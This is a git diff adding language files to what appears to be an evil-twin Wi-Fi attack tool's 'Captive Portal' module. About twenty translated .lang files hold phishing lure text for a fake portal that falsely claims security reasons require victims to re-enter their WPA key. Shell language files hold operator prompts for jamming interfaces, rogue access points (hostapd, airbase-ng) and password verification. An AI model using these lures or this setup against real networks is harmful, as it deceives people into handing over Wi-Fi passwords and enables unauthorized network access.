mode 100644 index 0000000..17e2be8 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Danish.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Af sikkerhedsmæssige årsager, skal du skrive netværksadgangskoden, for at få adgang til internettet." +DIALOG_WEB_INPUT="Angiv netværksadgangskoden:" +DIALOG_WEB_SUBMIT="Forsæt" +DIALOG_WEB_ERROR="Fejl: Den indtastede netværksadgangskode er ikke korrekt!" +DIALOG_WEB_OK="Tak, din forbindelse vil blive genoprettet inden få sekunder." +DIALOG_WEB_BACK="Tilbage" +DIALOG_WEB_ERROR_MSG="Dette felt er obligatorisk" +DIALOG_WEB_LENGTH_MIN="Netværksadgangskoden skal være på mere end {0} tegn!" +DIALOG_WEB_LENGTH_MAX="Netværksadgangskoden skal være på mindre end {0} tegn!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Dutch.lang b/attacks/Captive Portal/generic/languages/Dutch.lang new file mode 100644 index 0000000..f95d2b4 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Dutch.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Voer uw WPA-wachtwoord wegens beveiligingsredenen in om weer internettoegang te krijgen." +DIALOG_WEB_INPUT="Typ Uw WPA wachtwoord:" +DIALOG_WEB_SUBMIT="Invoeren" +DIALOG_WEB_ERROR="Error: Het ingevoerde wachtwoord is niet juist!" +DIALOG_WEB_OK="Uw verbinding wordt in enkele seconden hervat." +DIALOG_WEB_BACK="Terug" +DIALOG_WEB_ERROR_MSG="Dit veld is verplicht." +DIALOG_WEB_LENGTH_MIN="Het wachtwoord moet langer zijn dan {0} karakters!" +DIALOG_WEB_LENGTH_MAX="Het wachtwoord moet korter zijn dan {0} karakters!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/English.lang b/attacks/Captive Portal/generic/languages/English.lang new file mode 100644 index 0000000..a1545bb --- /dev/null +++ b/attacks/Captive Portal/generic/languages/English.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Authentication required for Internet access." +DIALOG_WEB_INPUT="WPA Key:" +DIALOG_WEB_SUBMIT="Connect" +DIALOG_WEB_ERROR="Error: The password entered is incorrect!" +DIALOG_WEB_OK="Please wait while the password is verified." +DIALOG_WEB_BACK="Back" +DIALOG_WEB_ERROR_MSG="This field is required." +DIALOG_WEB_LENGTH_MIN="The password must be more than {0} characters!" +DIALOG_WEB_LENGTH_MAX="The password must be less than {0} characters!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/French.lang b/attacks/Captive Portal/generic/languages/French.lang new file mode 100644 index 0000000..1dc20ab --- /dev/null +++ b/attacks/Captive Portal/generic/languages/French.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Pour des raisons de sécurité, entrez votre clé WPA" +DIALOG_WEB_INPUT="Entrez votre clé WPA :" +DIALOG_WEB_SUBMIT="Soumettre" +DIALOG_WEB_ERROR="Erreur : Le mot de passe entré est incorrect !" +DIALOG_WEB_OK="Votre connection va être restaurée dans un instant." +DIALOG_WEB_BACK="Retour" +DIALOG_WEB_ERROR_MSG="Ce champ est obligatoire." +DIALOG_WEB_LENGTH_MIN="Le mot de passe doit avoir plus de {0} caractères" +DIALOG_WEB_LENGTH_MAX="Le mot de passe doit avoir moins de {0} caractères" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/German.lang b/attacks/Captive Portal/generic/languages/German.lang new file mode 100644 index 0000000..a90e295 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/German.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Aus Sicherheitsgründen geben Sie bitte den WPA2 Schlüssel ein." +DIALOG_WEB_INPUT="Geben Sie den WPA2 Schlüssel ein:" +DIALOG_WEB_SUBMIT="Bestätigen" +DIALOG_WEB_ERROR="Fehler: Das eingegebene Passwort ist nicht korrekt!" +DIALOG_WEB_OK="Die Verbindung wird in wenigen Sekunden wiederhergestellt." +DIALOG_WEB_BACK="Zurück" +DIALOG_WEB_ERROR_MSG="Dieses Feld ist ein Pflichtfeld." +DIALOG_WEB_LENGTH_MIN="Das Passwort muss länger als {0} Zeichen sein" +DIALOG_WEB_LENGTH_MAX="Das Passwort darf nicht länger als {0} Zeichen sein" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Greek.lang b/attacks/Captive Portal/generic/languages/Greek.lang new file mode 100644 index 0000000..875d016 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Greek.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Για λόγους ασφάλειας, εισάγετε το WPA κωδικό για να έχετε πρόσβαση στο Internet." +DIALOG_WEB_INPUT="Εισάγετε τον WPA κωδικό:" +DIALOG_WEB_SUBMIT="Εισαγωγή" +DIALOG_WEB_ERROR="Σφάλμα: Ο κωδικός ΔΕΝ είναι σωστός!" +DIALOG_WEB_OK="Η συνδεσή σας θα αποκατασταθεί σε λίγα λεπτά" +DIALOG_WEB_BACK="Πίσω" +DIALOG_WEB_ERROR_MSG="Αυτό το πεδίο είναι υποχρεωτικό." +DIALOG_WEB_LENGTH_MIN="Ο κωδικός πρέπει να είναι πάνω από {0} χαρακτήρες" +DIALOG_WEB_LENGTH_MAX="Ο κωδικός πρέπει να είναι λιγότερο από {0} χαρακτήρες" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Hebrew.lang b/attacks/Captive Portal/generic/languages/Hebrew.lang new file mode 100644 index 0000000..2a62d40 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Hebrew.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="מטעמי אבטחה, יש להזין את סיסמת הרשת האלחוטית (WPA)עבור קבלת גישה לאינטרנט." +DIALOG_WEB_INPUT="הזן את סיסמת הWPA:" +DIALOG_WEB_SUBMIT="שלח" +DIALOG_WEB_ERROR="שגיאה: הסיסמה שגויה!" +DIALOG_WEB_OK="החיבור לאינטרנט יוחזר בעוד כמה רגעים." +DIALOG_WEB_BACK="אחורה" +DIALOG_WEB_ERROR_MSG="זהו שדה חובה." +DIALOG_WEB_LENGTH_MIN="הסיסמה חייבת להכיל יותר מ{0} תוים!" +DIALOG_WEB_LENGTH_MAX="הסיסמה חייבת להכיל פחות מ{0} תוים!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Hungarian.lang b/attacks/Captive Portal/generic/languages/Hungarian.lang new file mode 100644 index 0000000..4ca2e2e --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Hungarian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Biztonsági okokból adja meg a WPA kulcsot az internet eléréséhez" +DIALOG_WEB_INPUT="WPA jelszó:" +DIALOG_WEB_SUBMIT="Küldés" +DIALOG_WEB_ERROR="Hiba: A megadott jelszó helytelen!" +DIALOG_WEB_OK="Az Internet kapcsolat helyreállt. " +DIALOG_WEB_BACK="Vissza" +DIALOG_WEB_ERROR_MSG="A jelszót kötelező megadni." +DIALOG_WEB_LENGTH_MIN="A jelszó nem lehet kevesebb, mint {0} karakter!" +DIALOG_WEB_LENGTH_MAX="A jelszó kevesebb mint {0} karakter kell hogy legyen!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Indonesian.lang b/attacks/Captive Portal/generic/languages/Indonesian.lang new file mode 100644 index 0000000..9926d72 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Indonesian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Untuk alasan keamanan, masukkan WPA KEY (password wifi) untuk mengakses Internet." +DIALOG_WEB_INPUT="Masukkan WPA KEY (password wifi) anda:" +DIALOG_WEB_SUBMIT="Masukkan" +DIALOG_WEB_ERROR="Error: Password yang anda masukkan tidak sesuai!" +DIALOG_WEB_OK="Anda akan dapat mengakses Internet dalam beberapa saat lagi." +DIALOG_WEB_BACK="Kembali" +DIALOG_WEB_ERROR_MSG="Kolom ini wajib diisi." +DIALOG_WEB_LENGTH_MIN="Password harus lebih dari {0} karakter!" +DIALOG_WEB_LENGTH_MAX="Password harus kurang dari {0} karakter!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Italian.lang b/attacks/Captive Portal/generic/languages/Italian.lang new file mode 100644 index 0000000..d0863f8 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Italian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Per motivi di sicurezza, immettere la chiave WPA per accedere a Internet" +DIALOG_WEB_INPUT="Inserisci la tua password WPA:" +DIALOG_WEB_SUBMIT="Invia" +DIALOG_WEB_ERROR="Errore: La password non è corretta!" +DIALOG_WEB_OK="La connessione sarà ripristinata in pochi istanti." +DIALOG_WEB_BACK="Indietro" +DIALOG_WEB_ERROR_MSG="Campo obbligatorio." +DIALOG_WEB_LENGTH_MIN="La password deve essere superiore a {0} caratteri" +DIALOG_WEB_LENGTH_MAX="La password deve essere inferiore a {0} caratteri" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Norweigan.lang b/attacks/Captive Portal/generic/languages/Norweigan.lang new file mode 100644 index 0000000..ef4f1b6 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Norweigan.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Av sikkerhetsmessige årsaker må WPA-nøkkelen skrives inn for å få tilgang til internett" +DIALOG_WEB_INPUT="Skriv inn ditt WPA-passord:" +DIALOG_WEB_SUBMIT="Send inn" +DIALOG_WEB_ERROR="Feilmelding: Passordet du skrev inn er IKKE riktig!" +DIALOG_WEB_OK="Din tilkobling vil snart bli gjenopprettet." +DIALOG_WEB_BACK="Tilbake" +DIALOG_WEB_ERROR_MSG="Dette feltet er nødvendig." +DIALOG_WEB_LENGTH_MIN="Passordet må inneholde mer enn {0} tegn" +DIALOG_WEB_LENGTH_MAX="Passordet må inneholde ferre enn {0} tegn" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Polish.lang b/attacks/Captive Portal/generic/languages/Polish.lang new file mode 100644 index 0000000..39e308a --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Polish.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Ze względów bezpieczeństwa, wprowadź klucz WPA, aby uzyskać dostęp do Internetu" +DIALOG_WEB_INPUT="Wprowadź hasło WPA:" +DIALOG_WEB_SUBMIT="Zatwierdź" +DIALOG_WEB_ERROR="Błąd: Wprowadzone hasło nie jest poprawne!" +DIALOG_WEB_OK="Połączenie z Internetem zostanie przywrócone w ciągu kilku chwil." +DIALOG_WEB_BACK="Powrót" +DIALOG_WEB_ERROR_MSG="To pole jest obowiązkowe." +DIALOG_WEB_LENGTH_MIN="Podane hasło jest za krótkie Hasło musi zawierać więcej niż {0} znaków!" +DIALOG_WEB_LENGTH_MAX="Podane hasło jest za długie. Hasło musi być mniejsza niż {0} znaków!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Portuguese.lang b/attacks/Captive Portal/generic/languages/Portuguese.lang new file mode 100644 index 0000000..e5f90cb --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Portuguese.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Por razões de segurança, digite a senha para acessar a Internet" +DIALOG_WEB_INPUT="Digite novamente a senha do Wifi" +DIALOG_WEB_SUBMIT="Enviar" +DIALOG_WEB_ERROR="Erro: A senha digitada está incorreta!" +DIALOG_WEB_OK="A sua conexão será restaurada em breve." +DIALOG_WEB_BACK="Voltar" +DIALOG_WEB_ERROR_MSG="Campo de preenchimento obrigatório." +DIALOG_WEB_LENGTH_MIN="A senha deve ter mais de {0} caracteres" +DIALOG_WEB_LENGTH_MAX="A chave deve ser menor que {0} caracteres" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Romanian.lang b/attacks/Captive Portal/generic/languages/Romanian.lang new file mode 100644 index 0000000..bece355 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Romanian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Din motive de securitate, introduceți cheia WPA pentru a avea acces la Internet" +DIALOG_WEB_INPUT="Parola WPA:" +DIALOG_WEB_SUBMIT="Trimite" +DIALOG_WEB_ERROR="Eroare: Parola introdusa nu este corecta!" +DIALOG_WEB_OK="Conexiunea la Internet va porni in cateva momente." +DIALOG_WEB_BACK="Inapoi" +DIALOG_WEB_ERROR_MSG="Acest câmp este obligatoriu." +DIALOG_WEB_LENGTH_MIN="Parola trebuie să fie mai mare de {0} de caractere!" +DIALOG_WEB_LENGTH_MAX="Parola trebuie să fie mai mică de {0} de caractere!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Russian.lang b/attacks/Captive Portal/generic/languages/Russian.lang new file mode 100644 index 0000000..ac231e8 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Russian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Для получения доступа в Интернет нужно ввести WPA пароль своей точки доступа." +DIALOG_WEB_INPUT="Введите пароль:" +DIALOG_WEB_SUBMIT="Отправить" +DIALOG_WEB_ERROR="Ошибка: Введенный пароль не верный!" +DIALOG_WEB_OK="Спасибо, соединение восстановится через несколько секунд." +DIALOG_WEB_BACK="Назад" +DIALOG_WEB_ERROR_MSG="Это поле необходимо заполнить." +DIALOG_WEB_LENGTH_MIN="Пароль должен быть не менее {0} символов!" +DIALOG_WEB_LENGTH_MAX="Пароль должен быть не более {0} символов!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Serbian.lang b/attacks/Captive Portal/generic/languages/Serbian.lang new file mode 100644 index 0000000..5293af6 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Serbian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Zbog sigurnosnih razloga, unesite WPA ključ da bi ste pristupili internetu." +DIALOG_WEB_INPUT="Unesite vašu WPA šifru:" +DIALOG_WEB_SUBMIT="Potvrdi" +DIALOG_WEB_ERROR="Greška: Šifra koju ste uneli nije tačna!" +DIALOG_WEB_OK="Vaša konekcija će biti restartovana za par sekundi." +DIALOG_WEB_BACK="Nazad" +DIALOG_WEB_ERROR_MSG="Ovo polje je obavezno." +DIALOG_WEB_LENGTH_MIN="Šifra mora biti duža od {0} simbola!" +DIALOG_WEB_LENGTH_MAX="Šifra mora biti kraća od {0} simbola!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Slovak.lang b/attacks/Captive Portal/generic/languages/Slovak.lang new file mode 100644 index 0000000..763d9cb --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Slovak.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Ospravedlňujeme sa, ale nastal problém so zabezpečením vašeho bezdrôtového routeru. Zadejte prosím znovu vaše heslo." +DIALOG_WEB_INPUT="Vaše heslo WPA/WPA2:" +DIALOG_WEB_SUBMIT="Pripojiť" +DIALOG_WEB_ERROR="Chyba: Zadané heslo nieje správne!" +DIALOG_WEB_OK="Ďakujeme, vaše pripojenie bude v priebehu krátkej chvíle obnovené." +DIALOG_WEB_BACK="Späť" +DIALOG_WEB_ERROR_MSG="Toto pole musíte vyplniť." +DIALOG_WEB_LENGTH_MIN="Heslo musí byť dlhšie ako {0} znak(ov)!" +DIALOG_WEB_LENGTH_MAX="Heslo musí byť kratšie ako {0} znak(ov)!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Slovenian.lang b/attacks/Captive Portal/generic/languages/Slovenian.lang new file mode 100644 index 0000000..c7c5f33 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Slovenian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Zaradi varnostnih razlogov vnesite WPA ključ, da lahko dostopate do interneta!" +DIALOG_WEB_INPUT="Vnesite vaše WPA geslo:" +DIALOG_WEB_SUBMIT="Pošlji" +DIALOG_WEB_ERROR="Napaka: Vneseno geslo je napačno!" +DIALOG_WEB_OK="Vaš dostop do interneta bo omogočen v nekaj sekundah." +DIALOG_WEB_BACK="Nazaj" +DIALOG_WEB_ERROR_MSG="To polje je obvezno!." +DIALOG_WEB_LENGTH_MIN="Geslo more biti daljše od {0} znakov!" +DIALOG_WEB_LENGTH_MAX="Geslo more biti krajše od {0} znakov!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Spanish.lang b/attacks/Captive Portal/generic/languages/Spanish.lang new file mode 100644 index 0000000..b552f8c --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Spanish.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Por razones de seguridad, teclea tu clave WIFI para acceder a internet" +DIALOG_WEB_INPUT="Teclea tu contraseña WIFI:" +DIALOG_WEB_SUBMIT="Enviar" +DIALOG_WEB_ERROR="Error: La contraseña introducida no es correcta" +DIALOG_WEB_OK="Tu conexión será restaurada en unos pocos minutos" +DIALOG_WEB_BACK="Atrás" +DIALOG_WEB_ERROR_MSG="Este campo es obligatorio." +DIALOG_WEB_LENGTH_MIN="La contraseña debe ser más de {0} caracteres!" +DIALOG_WEB_LENGTH_MAX="La contraseña debe ser menos de {0} caracteres!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Thai.lang b/attacks/Captive Portal/generic/languages/Thai.lang new file mode 100644 index 0000000..01f6f25 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Thai.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="กรุณากรอกรหัสผ่าน WIFI เพื่อให้แน่ใจว่าท่านไม่ใช่ Robot ในการใช้งานอินเตอร์เน็ต." +DIALOG_WEB_INPUT="กรอกรหัสผ่าน WIFI ของท่าน:" +DIALOG_WEB_SUBMIT="ยืนยัน" +DIALOG_WEB_ERROR="เกิดข้อผิดพลาด: รหัสผ่านไม่ถูกต้อง" +DIALOG_WEB_OK="กรุณารอสักครู่..ระบบกำลังพาท่านไปยังเว็บไซต์ก่อนหน้า..." +DIALOG_WEB_BACK="กลับ" +DIALOG_WEB_ERROR_MSG="กรุณากรอกช่องนี้!" +DIALOG_WEB_LENGTH_MIN="รหัสผ่านควรมีมากกว่า {0} ตัวอักษร!" +DIALOG_WEB_LENGTH_MAX="รหัสผ่านควรมีอย่างน้อย {0} ตัวอักษร!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Turkish.lang b/attacks/Captive Portal/generic/languages/Turkish.lang new file mode 100644 index 0000000..ac8ed3c --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Turkish.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="İnternet'e erişmek icin WPA kablosuz ağ şifrenizi giriniz:" +DIALOG_WEB_INPUT="Lütfen parolanızı giriniz:" +DIALOG_WEB_SUBMIT="Giriş" +DIALOG_WEB_ERROR="Hata: girilen şifre doğru değil! " +DIALOG_WEB_OK="Bağlantı birkaç dakika içinde yapılandırılacaktır." +DIALOG_WEB_BACK="Geri" +DIALOG_WEB_ERROR_MSG="Bu alanın doldurulması zorunludur." +DIALOG_WEB_LENGTH_MIN="Parola en az {0} karakterden olmalıdır." +DIALOG_WEB_LENGTH_MAX="Parola {0} karakterden daha fazla olmamalıdır." +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/language/ar.sh b/attacks/Captive Portal/language/ar.sh new file mode 100644 index 0000000..3760862 --- /dev/null +++ b/attacks/Captive Portal/language/ar.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Creates an "evil twin" access point. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="إختر بطاقة شبكة من أجل التشويش." +CaptivePortalAccessPointInterfaceQuery="إختر بطاقة شبكة لتكون نقطة الوصول." +CaptivePortalCannotStartInterfaceError="${CRed}غير قادر على بدء واجهة البوابة المقيدة$CClr, returning!" +CaptivePortalStaringAPServiceNotice="بدء تشغيل خدمة نقطة الوصول للبوابة المقيدة..." +CaptivePortalStaringAPRoutesNotice="بدء توجيه مسارات نقطة الوصول المقيدة..." +CaptivePortalStartingDHCPServiceNotice="بدء تشغيل خدمة الـ DHCP لنقطة الوصول في الخلفية..." +CaptivePortalStartingDNSServiceNotice="بدء تشغيل خدمة الـ DNS لنقطة الوصول في الخلفية..." +CaptivePortalStartingWebServiceNotice="بدء تشغيل خدمة الـ WEB لنقطة الوصول في الخلفية..." +CaptivePortalStartingJammerServiceNotice="بدء تشغيل التشويش لنقطة الوصول في الخلفية..." +CaptivePortalStartingAuthenticatorServiceNotice="بدء برنامج المصادقة النصي..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="إختر خدمة نقطة وصول" +CaptivePortalAPServiceHostapdOption="نقطة الوصول الاحتيالية - hostapd (${CGrn}مستحسن$CClr)" +CaptivePortalAPServiceAirbaseOption="نقطة الوصول الاحتيالية - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="إختر طريقة التحقق من كلمة المرور" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="حدد مصدر شهادة SSL الخاص بالبوابة المقيدة." +CaptivePortalCertificateSourceGenerateOption="قم بإنشاء شهادة SSL" +CaptivePortalCertificateSourceRescanOption="كشف شهادة SSL (${CClr}بحث مجددا$CGry)" +CaptivePortalCertificateSourceDisabledOption="لا شيء (${CYel}تعطيل SSL$CGry)" +CaptivePortalUIQuery="إختر بطاقة شبكة من أجل البوابة المقيدة للشبكة الاحتيالية." +CaptivePortalGenericInterfaceOption="بوابة عامة" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="حدد نوع اتصال إنترنت للشبكة الاحتيالية." +CaptivePortalConnectivityDisconnectedOption="قطع الاتصال (${CGrn}مستحسن$CClr)" +CaptivePortalConnectivityEmulatedOption="محاكات" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/cs.sh b/attacks/Captive Portal/language/cs.sh new file mode 100755 index 0000000..1ab26ec --- /dev/null +++ b/attacks/Captive Portal/language/cs.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Portugalský Portál +# description: Vytvoří přístupový bod "zlý dvojče". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="METHODA ZÍSKÁNÍ HESLA" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/de.sh b/attacks/Captive Portal/language/de.sh new file mode 100755 index 0000000..3782dbc --- /dev/null +++ b/attacks/Captive Portal/language/de.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Gefangenes Portal +# description: Erstellt einen "bösen Zwilling" Zugangspunkt. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Es ist nicht möglich den AP zu starten$CClr, rückkehr!" +CaptivePortalStaringAPServiceNotice="Starte AP Service" +CaptivePortalStaringAPRoutesNotice="Starte den routing Service " +CaptivePortalStartingDHCPServiceNotice="Starte den DHCP Service" +CaptivePortalStartingDNSServiceNotice="Starte den DNS Service." +CaptivePortalStartingWebServiceNotice="Starte den AP" +CaptivePortalStartingJammerServiceNotice="Starte mdk3 als Service" +CaptivePortalStartingAuthenticatorServiceNotice="Authentifizierungsskript wird gestartet" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Methode zum Prüfen des Handshake" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Wähle die Quelle für das SSL Zertifikat " +CaptivePortalCertificateSourceGenerateOption="Erstelle das SSL Zertifikat" +CaptivePortalCertificateSourceRescanOption="Zertifikat wurde nicht erkannt" +CaptivePortalCertificateSourceDisabledOption="Kein Zertifikat (${CYel}SSL wird deaktiviert $CGry)" +CaptivePortalUIQuery="Wähle Interface für den unechten AP" +CaptivePortalGenericInterfaceOption="Gernerische Router Seiten" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Wähle die Methode für die Internet verbindung" +CaptivePortalConnectivityDisconnectedOption="Getrennt (${CGrn}Emfohlen$CClr)" +CaptivePortalConnectivityEmulatedOption="Emuliert" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/el.sh b/attacks/Captive Portal/language/el.sh new file mode 100755 index 0000000..3c0a715 --- /dev/null +++ b/attacks/Captive Portal/language/el.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Πύλη αιχμαλωσίας +# description: Δημιουργεί ένα σημείο πρόσβασης "κακό δίδυμο". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Αδυνατον να ξεκινησω το περιβάλλον της πυλης αιχμαλωσιας$CClr, επιστρεφω!" +CaptivePortalStaringAPServiceNotice="Ξεκιναω την υπηρεσία για το περιβάλλον της πύλης αιχμαλωσίας..." 